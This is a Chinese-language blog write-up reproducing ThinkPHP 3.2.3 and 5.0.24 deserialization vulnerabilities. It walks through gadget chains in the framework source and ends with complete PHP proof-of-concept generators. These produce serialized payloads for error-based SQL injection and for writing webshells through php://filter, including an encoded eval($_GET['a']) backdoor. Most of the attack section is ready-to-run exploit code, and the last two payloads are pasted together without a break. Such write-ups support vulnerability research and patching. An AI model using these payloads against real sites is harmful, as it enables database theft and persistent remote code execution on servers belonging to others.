五月 26, 2022

THINKPHP反序列化漏洞复现

3.2.3

先找__destruct函数

在imagick.class.php发现可以利用的destory函数

img是我们可控的,所以我们可以调用所以类中的destory函数,再全局找destroy函数

同样这里的handle也是可控的,我们可以调用全局的delete方法,再去找delete方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public function delete($options=array()){
$pk = $this->pk;
if(empty($options) && empty($this->options['where'])) {
// 如果删除条件为空 则删除当前数据对象所对应的记录
if(!empty($this->data) && isset($this->data[$pk]))
return $this->delete($this->data[$pk]);
else
return false;
}

if(is_numeric($options) || is_string($options)) {
// 根据主键删除记录
if(strpos($options,',')) {
$where[$pk] = array('IN', $options);
}else{
$where[$pk] = $options;
}
$options = array();
$options['where'] = $where;
}
// 分析表达式
$options['join'] = '';
$options = $this->_parseOptions($options);
if(empty($options['where'])){
// 如果条件为空 不进行删除操作 除非设置 1=1
return false;
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}

$options['table'] = implode(',',$this->modelList);
$options['using'] = $this->getTableName();
if(false === $this->_before_delete($options)) {
return false;
}
$result = $this->db->delete($options);
if(false !== $result) {
$data = array();
if(isset($pkValue)) $data[$pk] = $pkValue;
$this->_after_delete($data,$options);
}
// 返回删除记录个数
return $result;
}

这里要求option[where]要等于1=1,并且会去调用db中的delete,而且db是可控的

可以利用这个执行sql语句进行sql注入

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();

}
}
}


namespace Think\Session\Driver{
use Think\Model;

class Memcache {
protected $handle;
public function __construct(){
$this->handle = new Model();

}
}

}

namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data=array();
protected $pk;
protected $options=array();
protected $db=null;

public function __construct()
{
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
'where'=>'1=1',
'table'=>'mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#'

);


}
}
}

sql报错说明能执行sql语句

5.0.24

同样先找_destruct

调用了close和removeFiles两个方法

close没什么用

看看removefiles

可以用file_exists函数触发__tostring,接下来是找tostring函数

tostring会调用tojson方法,我们跟进

有个toarray,我们继续跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];

$data = array_merge($this->data, $this->relation);

// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}

这里$value是可控我们就可以去触发__call方法

这里会调用call_user_func_array方法

接下来就是怎么给value赋值

image-20220527173503530

value是由getRelationData赋值的

跟进

在满足if条件的时候value的值由parent决定

可控

可控

参数是由relation方法决定的

我们跟进,relation可控设置成geterror

这样就都可控了

接下来就是过value的判断了

modelRelation要有getBindAttr函数

OneToOne类中存在bindattr方法,但是该类是一个抽象类,无法直接用,我们要找一个继承这个抽象类的类

接下来就是用的__call方法进行rce了,他调用了black方法,我们跟进

继续跟进writeln方法

继续跟进

handle可控,找可以rce的write方法

找set方法

我们可以写文件,如果data是可控的,我们就能rce,我们先跟进filename发现是getCacheKey赋值的,我们跟进getCacheKey

image-20220601171357977

发现后缀是写死的,但是无所谓反正也是php,我们看看data是不是可控

发现data是由wtite的第二参数决定的,但是

被写死了,我们不能用

但是

我们跟进settagitem方法

发现又调用了一次set这次data可控

所以payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
<?php
namespace think\process\pipes{
use think\Model\Pivot;
class Windows{
private $files = [];
public function __construct(){
$this->files[] = new Pivot();
}
}
}

namespace think{
use think\model\relation\HasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
protected $parent;
public function __construct(){
$this->append = [
'ky' => 'getError'
];
$this->error = new HasOne();
$this->parent = new Output();
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{}
}

namespace think\model\relation{
use think\db\Query;
class HasOne{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct(){
$this->selfRelation = false;
$this->query = new Query();
$this->bindAttr = [
'ky' => 'is a boy'
];
}
}
}

namespace think\db{
use think\console\Output;
class Query{
protected $model;
public function __construct(){
$this->model = new Output();
}
}
}

namespace think\console{
use think\session\driver\Memcached;
class Output{
private $handle;
protected $styles;
public function __construct(){
$this->handle = new Memcached();
$this->styles = [
'ky' => 'getAttr'
];
}
}
}

namespace think\session\driver{
use think\cache\driver\File;
class Memcached{
protected $handler;
protected $config = [
'host' => '127.0.0.1', // memcache主机
'port' => 11211, // memcache端口
'expire' => 3600, // session有效期
'timeout' => 0, // 连接超时时间(单位:毫秒)
'session_name' => 'ky', // memcache key前缀
'username' => '', //账号
'password' => '', //密码
];
public function __construct(){
$this->handler = new File();
}
}
}

namespace think\cache\driver{

class File{
protected $options = [];
protected $tag;
public function __construct(){
$this->options = [
'cache_subdir' => false,
'prefix' => "",
'path' => "php://filter/write=string.rot13/resource=./static/<?cuc cucvasb();?>",
'data_compress' => false,
'expire' => 0
];
$this->tag = 'ky';
}
}
}

namespace {
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}<?php
namespace think\process\pipes;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = [new \think\model\Merge];
}
}

namespace think\model;
use think\Model;

class Merge extends Model
{
protected $append = [];
protected $error;

public function __construct()
{
$this->append = [
'bb' => 'getError'
];
$this->error = (new \think\model\relation\BelongsTo);
}
}
namespace think;
class Model{}

namespace think\console;
class Output
{
protected $styles = [];
private $handle = null;
public function __construct()
{
$this->styles = ['removeWhereField'];
$this->handle = (new \think\session\driver\Memcache);
}
}

namespace think\model\relation;
class BelongsTo
{
protected $query;
public function __construct()
{
$this->query = (new \think\console\Output);
}
}

namespace think\session\driver;
class Memcache
{
protected $handler = null;
public function __construct()
{
$this->handler = (new \think\cache\driver\Memcached);
}
}
namespace think\cache\driver;
class File
{
protected $tag;
protected $options = [];
public function __construct()
{
$this->tag = false;
$this->options = [
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'data_compress' => false,
'path' => 'php://filter/convert.base64-decode/resource=./',
];
}
}

class Memcached
{
protected $tag;
protected $options = [];
protected $handler = null;

public function __construct()
{
$this->tag = true;
$this->options = [
'expire' => 0,
'prefix' => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4',
];
$this->handler = (new File);
}
}
echo base64_encode(serialize(new \think\process\pipes\Windows));